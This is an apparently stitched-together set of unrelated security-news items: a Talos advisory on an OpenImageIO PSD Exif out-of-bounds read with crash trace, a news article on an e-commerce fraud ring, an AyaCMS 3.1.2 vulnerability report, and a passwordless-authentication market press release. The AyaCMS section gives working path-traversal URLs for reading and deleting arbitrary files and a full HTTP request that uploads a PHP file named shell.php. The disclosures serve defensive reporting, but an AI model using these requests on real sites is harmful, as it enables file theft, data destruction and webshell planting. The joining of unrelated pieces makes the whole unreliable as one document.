A heap out of bounds read vulnerability exists in the OpenImageIO master-branch-9aeece7a when parsing the image file directory part of a PSD image file. A specially-crafted .psd file can cause a read of arbitrary memory address which can lead to denial of service. An attacker can provide a malicious file to trigger this vulnerability.

**SUMMARY**

A heap out of bounds read vulnerability exists in the OpenImageIO master-branch-9aeece7a when parsing the image file directory part of a PSD image file. A specially-crafted .psd file can cause a read of arbitrary memory address which can lead to denial of service. An attacker can provide a malicious file to trigger this vulnerability.

**CONFIRMED VULNERABLE VERSIONS**

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

OpenImageIO Project OpenImageIO master-branch-9aeece7a

**PRODUCT URLS**

OpenImageIO - https://github.com/OpenImageIO/oiio

**CVSSv3 SCORE**

7.5 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

**CWE**

CWE-125 - Out-of-bounds Read

**DETAILS**

OpenImageIO is an image processing library with easy-to-use interfaces and a sizable number of supported image formats. Useful for conversion and processing and even image comparison, this library is utilized by 3D-processing software from AliceVision (including Meshroom), as well as Blender for reading Photoshop .psd files.

When dealing with Photoshop .psd files, libOpenImageIO starts from the following function:

    bool
    PSDInput::open(const std::string& name, ImageSpec& newspec)
    {
        m_filename = name;
    
        Filesystem::open(m_file, name, std::ios::binary);
    
        if (!m_file) {
            errorf("\"%s\": failed to open file", name);
            return false;
        }
    
        // File Header
        if (!load_header()) {      // [1]
            errorf("failed to open \"%s\": failed load_header", name);
            return false;
        }
    
        // Color Mode Data
        if (!load_color_data()) {  // [2]
            errorf("failed to open \"%s\": failed load_color_data", name);
            return false;
        }
    
        // Image Resources
        if (!load_resources()) {   // [3]
            errorf("failed to open \"%s\": failed load_resources", name);
            return false;
        }
    

The .psd file headers are read in at \[1\], populating the struct shown below:

    [o.O]> ptype m_header
    type = struct OpenImageIO_v2_3::psd_pvt::FileHeader {
        char signature[4];
        uint16_t version;
        uint16_t channel_count;
        uint32_t height;
        uint32_t width;
        uint16_t depth;
        uint16_t color_mode;
    }
    

Even though the psd_pvt::FileHeader struct is only 0x14 bytes long, we end up skipping over six bytes between version and channel_count, so our file pointer ends up at offset 0x1a when we start reading the color data at \[2\] into a struct that looks like so:

    type = struct OpenImageIO_v2_3::psd_pvt::ColorModeData {
        uint32_t length;
        std::string data;
    }
    

The struct read is intuitive, with the 4 bytes for the length being read, then that many bytes being read for the ColorModeData.data. After this, we get to the more interesting resource data at \[3\] in load_resources():

    bool
    PSDInput::load_resources()
    {
        uint32_t length;
        read_bige<uint32_t>(length);   // [4]
    
        if (!check_io())
            return false;
    
        ImageResourceBlock block;
        ImageResourceMap resources;                               // map of uint16_t to ImageResourceBlocks  
        std::streampos begin = m_file.tellg();   
        std::streampos end   = begin + (std::streampos)length;
        while (m_file && m_file.tellg() < end) {
            if (!read_resource(block) || !validate_resource(block)) //  [5] // validate ony checks for "8BIM" signature
                return false;
    
            resources.insert(std::make_pair(block.id, block));    // [6]
        }
        if (!check_io()) // if (!m_file)
            return false;
    
        if (!handle_resources(resources))  // [7]
            return false;
    
        m_file.seekg(end);
        return check_io();
    }
    

Our read at \[4\] determines the total length of the resources in the file, and then the blocks are read in at \[5\] and subsequently added to the resources map at \[6\] before being processed in handle_resources \[7\]. For more context, the resource struct is given below:

    type = struct OpenImageIO_v2_3::psd_pvt::ImageResourceBlock { 
        char signature[4];                               
        uint16_t id;                                     
        std::string name;                                // 1-256 bytes read in
        uint32_t length;                                 // [8]
        std::streampos pos;                              
    }    
    

As one would expect, all of these struct members are simply read in order from the file with the exception of std::string name, where the length is read in via read_pascal_string(). This boils down to a single byte read for the string length, then reading that many bytes, and finally padding out to an even length if needed. The length field at \[8\] designates the length of the resource data itself, and the offset of it in the file is saved to the std::streampos pos member before the file seeks forward length bytes to find the next ImageResourceBlock. Once all these objects have been read in, we go to the handle_resources function:

    bool
    PSDInput::handle_resources(ImageResourceMap& resources)
    {
        // Loop through each of our resource loaders
        const ImageResourceMap::const_iterator end(resources.end());
        for (const ResourceLoader& loader : resource_loaders) {
            ImageResourceMap::const_iterator it(resources.find(loader.resource_id));
            // If a resource with that ID exists in the file, call the loader
            if (it != end) {
                m_file.seekg(it->second.pos);
                if (!check_io())
                    return false;
    
                loader.load(this, it->second.length);
                if (!check_io())
                    return false;
            }
        }
        return true;
    }
    

The library contains a static list of PSDInput::ResourceLoader[] objects that determine which ImageResourceBlocks are actually parsed, which we see below:

    const PSDInput::ResourceLoader PSDInput::resource_loaders[]
        = { ADD_LOADER(1005), ADD_LOADER(1006), ADD_LOADER(1010), ADD_LOADER(1033),
            ADD_LOADER(1036), ADD_LOADER(1039), ADD_LOADER(1047), ADD_LOADER(1058),
            ADD_LOADER(1059), ADD_LOADER(1060), ADD_LOADER(1064) };
    #undef ADD_LOADER
    

As such, we only actually hit the handlers for ImageResourceBlocks where the id field matches one of the above numbers. The handlers all have a definition looking like bool PSDInput::load_resource_XXXX(uint32_t length) whereby the Xs correspond to the ImageResourceBlock.id. For today’s vulnerability we only really care about PSDInput::load_resource_1058:

    bool
    PSDInput::load_resource_1058(uint32_t length)
    {
        std::string data(length, 0);
        if (!m_file.read(&data[0], length)) // [9]
            return false;
    
        if (!decode_exif(data, m_composite_attribs) // [10]
            || !decode_exif(data, m_common_attribs)) {
            errorf("Failed to decode Exif data");
            return false;
        }
        return true;
    }
    

Apparently .psd files can contain Exif data, so the ImageResourceBlock data is read in at \[9\] and we parse it at \[10\] inside decode_exif():

    bool
    decode_exif(cspan<uint8_t> exif, ImageSpec& spec)
    {
        // Sometimes an exif blob starts with "Exif". Skip it.
        if (exif.size() >= 6 && exif[0] == 'E' && exif[1] == 'x' && exif[2] == 'i'
            && exif[3] == 'f' && exif[4] == 0 && exif[5] == 0) {
            exif = exif.subspan(6);
        }
    
        // [...]
        
        TIFFHeader head = *(const TIFFHeader*)exif.data();              // [11]
        if (head.tiff_magic != 0x4949 && head.tiff_magic != 0x4d4d)
            return false;
        bool host_little = littleendian();
        bool file_little = (head.tiff_magic == 0x4949);
        bool swab        = (host_little != file_little);
        if (swab)
            swap_endian(&head.tiff_diroff);
    
        const unsigned char* ifd = ((const unsigned char*)exif.data()
                                    + head.tiff_diroff);                              // [12]
        // keep track of IFD offsets we've already seen to avoid infinite
        // recursion if there are circular references.
        std::set<size_t> ifd_offsets_seen;
        decode_ifd(ifd, exif, spec, exif_tagmap_ref(), ifd_offsets_seen, swab);  //[13]
    

As the first item in Exif data should be a TIFFHeader, we cast the start of the ImageResourceBlock data as a TiffHeader and start parsing:

     type = struct TIFFHeader {
        uint16_t tiff_magic;
        uint16_t tiff_version;
        uint32_t tiff_diroff;
    }
    [-.-]> p/x *(struct TIFFHeader *)data.data()
    $44 = {tiff_magic = 0x4949, tiff_version = 0x92a, tiff_diroff = 0x800}
    

As with normal tiff files, the TIFFHeader.tiff_diroff points to the start of the Tiff Directories, and so the code points the ifd variable to these directories at \[12\] before parsing them at \[13\] in decode_ifd():

    // Decode a raw Exif data block and save all the metadata in an
    // ImageSpec.  Return true if all is ok, false if the exif block was
    // somehow malformed.
    void
    pvt::decode_ifd(const unsigned char* ifd, cspan<uint8_t> buf, ImageSpec& spec,
                    const TagMap& tag_map, std::set<size_t>& ifd_offsets_seen,
                    bool swab, int offset_adjustment)
    {
        // Read the directory that the header pointed to.  It should contain
        // some number of directory entries containing tags to process.
        unsigned short ndirs = *(const unsigned short*)ifd;                          // [14]
        if (swab)
            swap_endian(&ndirs);
        for (int d = 0; d < ndirs; ++d)
            read_exif_tag(spec,
                          (const TIFFDirEntry*)(ifd + 2 + d * sizeof(TIFFDirEntry)),            //[15]
                          buf, swab, offset_adjustment, ifd_offsets_seen, tag_map);
    }
    

Since there’s no checking of the ifd variable between \[12\] and \[14\], we actually end up with an out-of-bounds read condition at \[14\]. Unfortunately there is immediately bounds checking inside of read_exif_tag at \[15\]. As such, the impact of this read is pretty limited, but since we can read an arbitrary uint32_t from the file for our head.tiff_diroff at \[12\], we can at least turn it into an unmapped memory read, causing a crash and denial-of-service.

**Crash Information**

    =================================================================
    ==67078==ERROR: AddressSanitizer: SEGV on unknown address 0x614002001848 (pc 0x7f9357df94ef bp 0x7fff87ae2f60 sp 0x7fff87ae2cc0 T0)
    ==67078==The signal is caused by a READ memory access.
        #0 0x7f9357df94ef in OpenImageIO_v2_3::pvt::decode_ifd(unsigned char const*, OpenImageIO_v2_3::span<unsigned char const, -1l>, OpenImageIO_v2_3::ImageSpec&, OpenImageIO_v2_3::pvt::TagMap const&, std::set<unsigned long, std::less<unsigned long>, std::allocator<unsigned long> >&, bool, int) /oiio/oiio-2.3.19.0/src/libOpenImageIO/exif.cpp:1012:28
        #1 0x7f9357e039d9 in OpenImageIO_v2_3::decode_exif(OpenImageIO_v2_3::span<unsigned char const, -1l>, OpenImageIO_v2_3::ImageSpec&) /oiio/oiio-2.3.19.0/src/libOpenImageIO/exif.cpp:1143:5
        #2 0x7f9357e02781 in OpenImageIO_v2_3::decode_exif(OpenImageIO_v2_3::string_view, OpenImageIO_v2_3::ImageSpec&) /oiio/oiio-2.3.19.0/src/libOpenImageIO/exif.cpp:1091:12
        #3 0x7f9359580904 in OpenImageIO_v2_3::PSDInput::load_resource_1058(unsigned int) /oiio/oiio-2.3.19.0/src/psd.imageio/psdinput.cpp:1210:10
        #4 0x7f9359608752 in bool std::__invoke_impl<bool, bool (OpenImageIO_v2_3::PSDInput::*&)(unsigned int), OpenImageIO_v2_3::PSDInput*, unsigned int>(std::__invoke_memfun_deref, bool (OpenImageIO_v2_3::PSDInput::*&)(unsigned int), OpenImageIO_v2_3::PSDInput*&&, unsigned int&&) /usr/bin/../lib/gcc/x86_64-linux-gnu/11/../../../../include/c++/11/bits/invoke.h:74:14
        #5 0x7f9359607b85 in std::__invoke_result<bool (OpenImageIO_v2_3::PSDInput::*&)(unsigned int), OpenImageIO_v2_3::PSDInput*, unsigned int>::type std::__invoke<bool (OpenImageIO_v2_3::PSDInput::*&)(unsigned int), OpenImageIO_v2_3::PSDInput*, unsigned int>(bool (OpenImageIO_v2_3::PSDInput::*&)(unsigned int), OpenImageIO_v2_3::PSDInput*&&, unsigned int&&) /usr/bin/../lib/gcc/x86_64-linux-gnu/11/../../../../include/c++/11/bits/invoke.h:96:14
        #6 0x7f9359607481 in bool std::_Bind<bool (OpenImageIO_v2_3::PSDInput::* (std::_Placeholder<1>, std::_Placeholder<2>))(unsigned int)>::__call<bool, OpenImageIO_v2_3::PSDInput*&&, unsigned int&&, 0ul, 1ul>(std::tuple<OpenImageIO_v2_3::PSDInput*&&, unsigned int&&>&&, std::_Index_tuple<0ul, 1ul>) /usr/bin/../lib/gcc/x86_64-linux-gnu/11/../../../../include/c++/11/functional:420:11
        #7 0x7f9359606ec1 in bool std::_Bind<bool (OpenImageIO_v2_3::PSDInput::* (std::_Placeholder<1>, std::_Placeholder<2>))(unsigned int)>::operator()<OpenImageIO_v2_3::PSDInput*, unsigned int, bool>(OpenImageIO_v2_3::PSDInput*&&, unsigned int&&) /usr/bin/../lib/gcc/x86_64-linux-gnu/11/../../../../include/c++/11/functional:503:17
        #8 0x7f93596069f5 in bool std::__invoke_impl<bool, std::_Bind<bool (OpenImageIO_v2_3::PSDInput::* (std::_Placeholder<1>, std::_Placeholder<2>))(unsigned int)>&, OpenImageIO_v2_3::PSDInput*, unsigned int>(std::__invoke_other, std::_Bind<bool (OpenImageIO_v2_3::PSDInput::* (std::_Placeholder<1>, std::_Placeholder<2>))(unsigned int)>&, OpenImageIO_v2_3::PSDInput*&&, unsigned int&&) /usr/bin/../lib/gcc/x86_64-linux-gnu/11/../../../../include/c++/11/bits/invoke.h:61:14
        #9 0x7f9359606365 in std::enable_if<__and_<std::__not_<std::is_void<bool> >, std::is_convertible<std::__invoke_result<std::_Bind<bool (OpenImageIO_v2_3::PSDInput::* (std::_Placeholder<1>, std::_Placeholder<2>))(unsigned int)>&, OpenImageIO_v2_3::PSDInput*, unsigned int>::type, bool> >::value, bool>::type std::__invoke_r<bool, std::_Bind<bool (OpenImageIO_v2_3::PSDInput::* (std::_Placeholder<1>, std::_Placeholder<2>))(unsigned int)>&, OpenImageIO_v2_3::PSDInput*, unsigned int>(std::_Bind<bool (OpenImageIO_v2_3::PSDInput::* (std::_Placeholder<1>, std::_Placeholder<2>))(unsigned int)>&, OpenImageIO_v2_3::PSDInput*&&, unsigned int&&) /usr/bin/../lib/gcc/x86_64-linux-gnu/11/../../../../include/c++/11/bits/invoke.h:142:14
        #10 0x7f9359604fac in std::_Function_handler<bool (OpenImageIO_v2_3::PSDInput*, unsigned int), std::_Bind<bool (OpenImageIO_v2_3::PSDInput::* (std::_Placeholder<1>, std::_Placeholder<2>))(unsigned int)> >::_M_invoke(std::_Any_data const&, OpenImageIO_v2_3::PSDInput*&&, unsigned int&&) /usr/bin/../lib/gcc/x86_64-linux-gnu/11/../../../../include/c++/11/bits/std_function.h:290:9
        #11 0x7f93595d0424 in std::function<bool (OpenImageIO_v2_3::PSDInput*, unsigned int)>::operator()(OpenImageIO_v2_3::PSDInput*, unsigned int) const /usr/bin/../lib/gcc/x86_64-linux-gnu/11/../../../../include/c++/11/bits/std_function.h:590:9
        #12 0x7f93595ccc46 in OpenImageIO_v2_3::PSDInput::handle_resources(std::map<unsigned short, OpenImageIO_v2_3::psd_pvt::ImageResourceBlock, std::less<unsigned short>, std::allocator<std::pair<unsigned short const, OpenImageIO_v2_3::psd_pvt::ImageResourceBlock> > >&) /oiio/oiio-2.3.19.0/src/psd.imageio/psdinput.cpp:1075:13
        #13 0x7f935958bb74 in OpenImageIO_v2_3::PSDInput::load_resources() /oiio/oiio-2.3.19.0/src/psd.imageio/psdinput.cpp:1020:10
        #14 0x7f935958781e in OpenImageIO_v2_3::PSDInput::open(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&, OpenImageIO_v2_3::ImageSpec&) /oiio/oiio-2.3.19.0/src/psd.imageio/psdinput.cpp:559:10
        #15 0x7f93595a11da in OpenImageIO_v2_3::PSDInput::open(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&, OpenImageIO_v2_3::ImageSpec&, OpenImageIO_v2_3::ImageSpec const&) /oiio/oiio-2.3.19.0/src/psd.imageio/psdinput.cpp:615:12
        #16 0x7f9358782669 in OpenImageIO_v2_3::ImageInput::create(OpenImageIO_v2_3::string_view, bool, OpenImageIO_v2_3::ImageSpec const*, OpenImageIO_v2_3::Filesystem::IOProxy*, OpenImageIO_v2_3::string_view) /oiio/oiio-2.3.19.0/src/libOpenImageIO/imageioplugin.cpp:758:27
        #17 0x7f9358661589 in OpenImageIO_v2_3::ImageInput::open(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&, OpenImageIO_v2_3::ImageSpec const*, OpenImageIO_v2_3::Filesystem::IOProxy*) /oiio/oiio-2.3.19.0/src/libOpenImageIO/imageinput.cpp:105:16
        #18 0x55e4dcdae40f in LLVMFuzzerTestOneInput /oiio/fuzzing/./oiio_harness.cpp:77:16
        #19 0x55e4dccd44e3 in fuzzer::Fuzzer::ExecuteCallback(unsigned char const*, unsigned long) (/oiio/fuzzing/fuzz_oiio.bin+0x414e3) (BuildId: e9d97e110da8ca7129ca0569fb37dfa703dccc25)
        #20 0x55e4dccbe25f in fuzzer::RunOneTest(fuzzer::Fuzzer*, char const*, unsigned long) (/oiio/fuzzing/fuzz_oiio.bin+0x2b25f) (BuildId: e9d97e110da8ca7129ca0569fb37dfa703dccc25)
        #21 0x55e4dccc3fb6 in fuzzer::FuzzerDriver(int*, char***, int (*)(unsigned char const*, unsigned long)) (/oiio/fuzzing/fuzz_oiio.bin+0x30fb6) (BuildId: e9d97e110da8ca7129ca0569fb37dfa703dccc25)
        #22 0x55e4dcceddd2 in main (/oiio/fuzzing/fuzz_oiio.bin+0x5add2) (BuildId: e9d97e110da8ca7129ca0569fb37dfa703dccc25)
        #23 0x7f934ed80d8f in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16
        #24 0x7f934ed80e3f in __libc_start_main csu/../csu/libc-start.c:392:3
        #25 0x55e4dccb8b24 in _start (/oiio/fuzzing/fuzz_oiio.bin+0x25b24) (BuildId: e9d97e110da8ca7129ca0569fb37dfa703dccc25)
    
    AddressSanitizer can not provide additional info.
    SUMMARY: AddressSanitizer: SEGV /oiio/oiio-2.3.19.0/src/libOpenImageIO/exif.cpp:1012:28 in OpenImageIO_v2_3::pvt::decode_ifd(unsigned char const*, OpenImageIO_v2_3::span<unsigned char const, -1l>, OpenImageIO_v2_3::ImageSpec&, OpenImageIO_v2_3::pvt::TagMap const&, std::set<unsigned long, std::less<unsigned long>, std::allocator<unsigned long> >&, bool, int)
    ==67078==ABORTING
    

**TIMELINE**

2022-10-19 - Initial Vendor Contact  
2022-10-20 - Vendor Disclosure  
2022-12-22 - Public Release

Discovered by Lilith >\_> of Cisco Talos.

CVE-2022-41684: TALOS-2022-1632 || Cisco Talos Intelligence Group

"Largest attack of its kind": A potent Southeast Asian e-commerce fraud ring has declared war on US retailers, targeting billions in goods in just the past month and forcing mules into its scheme.

Fraud rings don't have to fuss with all the mundane details of running a business — the scam _is_ the business.

It's that tidy business model that has enabled a new e-commerce threat group to leave its mark in November with what one researcher calls the largest attack of its kind in the past 20 years.

And they're just getting started.

The particularly prolific Southeast Asian-based e-commerce threat group has been able to build up a sophisticated operation stacked with data science, fraud detection, online payments, and e-commerce expertise that so far has enabled them to rip off an estimated $660 million in stolen laptops, cell phones, computer chips, gaming devices, and more in November, according to a new report from Signifyd researchers.

The threat actors use stolen credentials and account takeover to place orders from unsuspecting consumers' accounts, often using stored payment methods. Then, they re-ship them to Asia for repackaging and resale at a premium. According to a tandem report earlier this month on the ring, the group uses mules to do the dirty work of reshipment, often under duress.

"Additionally, if the MSHT (Modern Slavery & Human Trafficking) connections that have appeared can be confirmed, this fraud ring also manipulates people to coerce them to become part of the attack," according to that analysis, from Chargelytics Consulting.

In all, the group targeted a massive $3.3 billion worth of e-commerce merchandise during November, the busiest shopping month of the year, according Signifyd's team, which has been following the group's illicit activities for more than a year.

**Holiday Season Scam 'War'**

"What was unique about this fraud ring was that they revved up really quickly. They're fast and strong," said Ping Li, Signifyd vice president of risk and chargeback operations at Signifyd, in its report this week. "They probably had been preparing for it for a long time, and then they launched a war just before our holiday season."

Li, who has studied how to stop e-commerce fraud for two decades, ranks this attack as the most dangerous she's ever seen, because of its ability to attempt large numbers of fraudulent transactions per minute, which in one case Signifyd analysts observed kept up for a full day.

"Normally, when we see an attack on one merchant, the attack has its own characteristics. And then you see a very different kind of attack on another merchant," Li said. "But this one is just universal. It's everywhere. This is the first time I have seen an attack of this size and scale in our network."

The scammers are also apparently not concerned about being caught. "They kind of leave their signature," Li said. "They are not really trying to hide. It's like, 'Catch me if you can.'"

**Excellence in E-Commerce Fraud**

Besides the operation being stacked with technology know-how, Michael Pezely, Signifyd's director of risk intelligence, tells Dark Reading that the e-commerce threat group has sheer speed and volume of scam transactions on its side.

"E-commerce orders — particularly at the enterprise level — arrive at dizzying speed," Pezely says. "Signifyd, for instance, processed as much as $42 million an hour in orders during Cyber Week. It would be virtually impossible for a human team to review that volume of orders for signs of fraud."

Pezely added that merchants are on the lookout for goods being shipped to a foreign country, but this group of scammers places orders that appear to originate from the US and ship to US addresses.

"Furthermore, if a merchant is relying on only its own transaction data, there likely will be a lag between the time a fraud attack begins and when it is recognized," Pezely explains. "Without having the benefit of seeing millions of transactions across thousands of merchants, a novel fraud attack might not be in plain sight for some time."

**Automation Is Part of the Answer**

His recommendation to e-commerce security teams is that they need to rely on a combination of automation and machine learning informed by patterns across the broader online retail sector.

"And so, automation is part of the answer — in particular, machine learning solutions that are able to recognize patterns and associate them with known bad actors and bad events, while constantly improving their performance to suppress new attacks," Pezely explains.

He adds, "To be effective, teams also need to rely on large networks of many merchants, which provide the transaction intelligence that allows machine learning models to identify attack patterns at one merchant and adjust protection across the network to avoid losses among other merchants on the network."

Once the models are created, it's up to human expertise to put the data together and create a plan for cyber-defense.

Merchants would do well to get ahead of the threat, given the billions of dollars in goods already in the crosshairs of this lone e-commerce fraud ring, Pezely advises.

"Given that a fraud ring's cost of inventory is zero, there is plenty of room to plot future endeavors," he says.

Inside the Next-Level Fraud Ring Scamming Billions Off Holiday Retailers

AyaCMS 3.1.2 is vulnerable to file deletion via /aya/module/admin/fst_del.inc.php

Vulnerability files: /aya/module/admin/fst\_down.inc.php, /aya/module/admin/fst\_del.inc.php  
Vulnerability description: The check\_path function has flaws in the filtering of parameters passed in by $file. We only need to enter characters other than "./\\" such as aya in the header of the parameter to bypass the detection and download or delete any file in the system.  
1、Arbitrary file download Vulnerability  
  
You can access any file in the system through  
admin.php?action=fst_down&file=aya/table/../../../../../../windows/win.ini  

2、Arbitrary file delete Vulnerability  
  
First I create a file named 111.txt under C:\\Windows  
  
Then the files can be deleted through  
admin.php?action=fst_del&file=aya/../../../../../windows/111.txt&in_ajax=1  
  

3、Arbitrary file upload Vulnerability  

    POST /upload/admin.php?action=fst_upload&file=aya HTTP/1.1
    Host: xx.xx.xx.xx
    Content-Length: 204
    Cache-Control: max-age=0
    Upgrade-Insecure-Requests: 1
    Content-Type: multipart/form-data; boundary=----WebKitFormBoundary9HCWsLRL4AuZwHyu
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9
    Connection: close
    
    ------WebKitFormBoundary9HCWsLRL4AuZwHyu
    Content-Disposition: form-data; name="upfile"; filename="shell.php"
    Content-Type: text/plain
    
    <?php phpinfo(); ?>
    ------WebKitFormBoundary9HCWsLRL4AuZwHyu--

CVE-2022-47926: AyaCMS v3.1.2 has  Arbitrary file operations Vulnerability · Issue #7 · loadream/AyaCMS

**SAN FRANCISCO****,** **Dec. 22, 2022** **/PRNewswire/ --** The global passwordless authentication market size is expected to reach USD 55.70 billion by 2030, growing at promising 18.2% CAGR, according to a new report by Grand View Research, Inc. Passwordless authentication is a security procedure that uses unique biological traits of a person to validate their authenticity.

**Key Industry Insights & Findings from the report:**

*   Growing investments in developed countries such as the U.S., Canada, Germany, France, and the U.K. for implementing passwordless authentication technology is a crucial factor driving the growth.
*   Fingerprint recognition and facial recognition provide various benefits. The increased security, accountability, convenience, and their non-transferable nature are crucial drivers for the growth.
*   The surge in e-commerce and internet banking, as well as legislations by various authorities such as central banks mandates large organizations to utilize robust authentication mechanisms to authenticate customers.
*   Multi-factor authentication protects clients from phishing attempts and fraudulent purchases and secures transactions.

Read 117-page market research report, "Passwordless Authentication Market Size, Share & Trends Analysis Report By Component, By Product Type (Facial Recognition, Fingerprint, Iris), By Authentication Type, By Portability, By End-user, By Region, And Segment Forecasts, 2022 - 2030", published by Grand View Research.

**Passwordless Authentication Market Growth & Trends**

The increasing adoption of smartphones and other electronic gadgets is a crucial element driving the biometric authentication market forward. According to a July 2022 Oxford Economics and Samsung study, up to 85% of small and midsize enterprises allow all or most of their staff to use mobile devices for work. Personal laptops and smartphones used by employees might expose a small firm to the dangers of unauthorized access to proprietary data, files, and systems. Such solutions remain the need of the hour and growing focus of many companies around the world.

For instance, in September 2022, AaDya Security, a cyber-security firm, announced the availability of passwordless authentication for Judy, the first all-in-one cybersecurity solution for SMEs. The new security feature protects how small business employees access company resources, mainly when they operate remotely and on mobile phones and personal laptops.

The growing requirement for an additional layer of protection beyond passwords fuels the growth of the passwordless authentication industry. To authenticate identities, fingerprint sensors and smartcards are utilized, and these security points allow for a seamless experience and data flow across locations. Most businesses are using voice biometric authentication in their workplaces for their personnel.

Reduced fraud exposure and lower authentication costs often drive organizations to implement voice biometric technology in their facilities. For instance, in July 2022, Turant Inc., a voice biometric AI firm, launched its cutting-edge AI solution in India. The company seeks to eliminate OTP-related fraud in transactions across use cases across business/industry domains, including e-commerce deliveries, by making it available in all Indian languages and roughly 20,000 dialects.

Furthermore, due to the increasing number of incidences of data theft around the world, passwordless authentication has gained popularity. Data theft issues in devices such as computers, cellphones, and tablets have increased the requirement for protection beyond passwords. fingerprint sensors and facial recognition are ways modern gadgets can be secured to prevent data theft.

For instance, in August 2022, ForgeRock, an international identity and access management software business, established strategic cooperation with Israeli software company Secret Double Octopus. ForgeRock will use SDO technology to provide employees, contractors, and vendors with a unified multi-factor secure experience. ForgeRock Enterprise Connect, the new solution, connects effortlessly with any ForgeRock deployment option, allowing organizations to gain increased security for databases, workstations, VPNs, and servers.

**Passwordless Authentication Market Segmentation**

Grand View Research has segmented the global passwordless authentication market based on component, product type, authentication type, portability, end-user, and region:

**Passwordless Authentication Market - Component Outlook (Revenue, USD Million, 2017 - 2030)**

*   Hardware
*   Software
*   Services

**Passwordless Authentication Market - Product Type Outlook (Revenue, USD Million, 2017 - 2030)**

*   Fingerprint Authentication
*   Palm Recognition
*   Iris Recognition
*   Face Recognition
*   Voice Recognition
*   Smart Card
*   Others

**Passwordless Authentication Market - Type Outlook (Revenue, USD Million, 2017 - 2030)**

*   Single-factor Authentication
*   Multi-factor Authentication

**Passwordless Authentication Market - Portability Outlook (Revenue, USD Million, 2017 - 2030)**

*   Fixed
*   Mobile

**Passwordless Authentication Market - End-user Outlook (Revenue, USD Million, 2017 - 2030)**

*   IT & Telecom
*   Retail
*   Transportation & Logistics
*   Aerospace & Defense
*   BFSI
*   Healthcare
*   Government
*   Others

**Passwordless Authentication Market - Regional Outlook (Revenue, USD Million, 2017 - 2030)**

*   North America

*   U.S.
*   Canada
*   Mexico

*   Europe

*   U.K.
*   Germany
*   France

*   Asia Pacific

*   China
*   India
*   Japan

*   Central & South America

*   Brazil

*   Middle East and Africa (MEA)

**List of Key Players in the Passwordless Authentication Market**

*   ASSA ABLOY
*   DERMALOG Identification Systems GmbH
*   East Shore Technology, LLC
*   Fujitsu
*   HID Global Corporation
*   M2SYS Technology
*   Microsoft
*   NEC Corporation
*   Safran
*   Thales.

**Check out more related studies published by Grand View Research:**

*   Facial Recognition Market **\-** The global facial recognition market size is expected to reach USD 12.11 billion by 2028 according to a new report by Grand View Research, Inc. The market is anticipated to expand at a CAGR of 15.4% from 2021 to 2028. Facial recognition is a contactless biometric solution that is a critical factor contributing the market growth.
*   Multi-factor Authentication Market \- The global multi-factor authentication (MFA) market size is expected to reach USD 17.76 billion by 2025, according to a new study by Grand View Research, Inc., experiencing a CAGR of 15.07% during the forecast period. Increasing implementation of BYOD and cloud-based services across enterprises, along with the growing security regulations and mandates, is benefiting market growth.
*   3D Secure Payment Authentication Market \- The global 3D secure payment authentication market size is expected to reach USD 2.76 billion by 2030, growing at a CAGR of 12.2% from 2022 to 2030, according to a new study conducted by Grand View Research, Inc. The rising demand for e-commerce has augmented the use of Card Not Present (CNP) transactions. As a result of such an increase in CNP transactions, the growth in CNP fraud transactions has been observed over the past few years.

**Browse through Grand View Research's** Next Generation Technologies Industry **Research Reports.**

**About Grand View Research**

Grand View Research, U.S.-based market research and consulting company, provides syndicated as well as customized research reports and consulting services. Registered in California and headquartered in San Francisco, the company comprises over 425 analysts and consultants, adding more than 1200 market research reports to its vast database each year. These reports offer in-depth analysis on 46 industries across 25 major countries worldwide. With the help of an interactive market intelligence platform, Grand View Research Helps Fortune 500 companies and renowned academic institutes understand the global and regional business environment and gauge the opportunities that lie ahead.

Tag

#intel